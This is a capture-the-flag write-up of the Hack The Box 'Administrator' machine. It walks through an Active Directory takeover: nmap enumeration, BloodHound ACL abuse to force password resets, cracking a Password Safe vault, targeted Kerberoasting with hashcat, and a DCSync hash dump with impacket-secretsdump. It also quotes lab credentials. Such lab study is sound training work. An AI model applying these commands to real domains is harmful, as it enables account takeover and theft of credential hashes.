HTB: Administrator

Hello everyone. Today I want to share the technical solution for the medium level Administrator box in HTB.

Machine Link: https://app.hackthebox.com/machines/Administrator

Just like in real-life pentests, you are given a low-privileged user: Olivia : ichliebedich

Enumeration:

Nmap scan:

nmap -sCV -p- -T4 --min-rate 10000 10.129.5.72  -oN nmap_result
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-27 14:33 -0400
Warning: 10.129.5.72 giving up on port because retransmission cap hit (6).
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 56.00% done; ETC: 14:33 (0:00:06 remaining)
Nmap scan report for Administrator.htb (10.129.5.72)
Host is up (0.082s latency).
Not shown: 65451 closed tcp ports (reset), 59 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-27 18:53:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
58835/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
58846/tcp open  msrpc         Microsoft Windows RPC
58851/tcp open  msrpc         Microsoft Windows RPC
58865/tcp open  msrpc         Microsoft Windows RPC
61148/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-05-27T18:54:42
|_  start_date: N/A
|_clock-skew: 20m27s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.46 seconds

Since we now know from the nmap scan that our domain is administrator.htb, we can update the hosts file:

hosts file

Let’s see what we are allowed to do on the network with the provided credentials:

Let’s map the domain with bloodhound and look for misconfigured permissions for user olivia on objects within the domain.

You can see that the “First Degree Object Control” attribute in the “Outbound object control” section between the data of the user Bloodhound and olivia has a value of 1.

From the image above, we can see that user Olivia has the GenericAll privilege on user micheal. You can right-click on the privilege and see the help for the exploitation rule.

NOTE: GenericAll is the broadest and most dangerous type of permission you can have on an object in an Active Directory (AD) environment. Simply put, it is Full Control over the target object.

Let’s connect to user olivia with evil-winrm and change the password for user Michael.

Let’s confirm that the password was changed successfully:

Now let’s look for dangerous permissions for the user michael with bloodhound:

ACL abuse

In the images above, we can see that the user michael has ForceChangePassword permission on the user benjamin.

NOTE: ForceChangePassword is a special object permission (Extended Right) within Active Directory (AD). This permission allows a user to directly set a new password for another targeted user without knowing or entering the old password.

net rpc password "benjamin" 'Passw0rd!' -U 'HTB\michael%Passw0rd!' -S 10.129.5.72

Let’s confirm that the password was changed successfully:

Since we have now captured the user Benjamin, we can enumerate the user benjamin with bloodhound:

In the image above, we can see that the user benjamin is a member of the SHARE MODERATORS group. And from the previous nmap scan, we know that ftp is running on port 21. This group gave me the impression that benjamin is the ftp user. Let’s check.

We can see that there is a psafe3 file during ftp login.

NOTE: A .psafe3 file is an encrypted database file belonging to the popular and open-source password manager Password Safe.

When trying to open the file, it asks for the master password. To crack the file’s password with john, you can obtain the hash with pwsafe2john and crack it.

Once we have found the password, we can open the file:

We can see that there are 3 users. You can copy both the username and password by right-clicking on each one. I checked each one, but only the password of the user emily was correct.

emily

When enumerating the user emily with Bloodhound, we can see that the user emily has GenericWrite permission on the user Ethan.

TargetedKerberoast

NOTE: In an Active Directory environment, an attacker uses extensive rights (e.g. GenericAll, GenericWrite) to forcibly assign a fake service name (SPN) to a normal user account, making it a target for Kerberosting.

You can download the tool here: https://github.com/ShutdownRepo/targetedKerberoast

If you encounter this “KRB_AP_ERR_SKEW” error, run the following commands in the terminal:

sudo timedatectl set-ntp off
sudo rdate -n <dc_ip>

kerberoastable user

hashcat -m 13100 kerberoast /usr/share/wordlists/rockyou.txt 

Ethan user’s password : limpbizkit

When looking at the permissions of the Ethan user with bloodhound, we can see that he has DCSync permission on the DC. With a DCSync attack, it is possible to extract user NTLM hashes from the DC.

dcsync attack:

impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.5.72

system Pwn3d

That’s all for today. If I make any mistakes, don’t hesitate to let me know.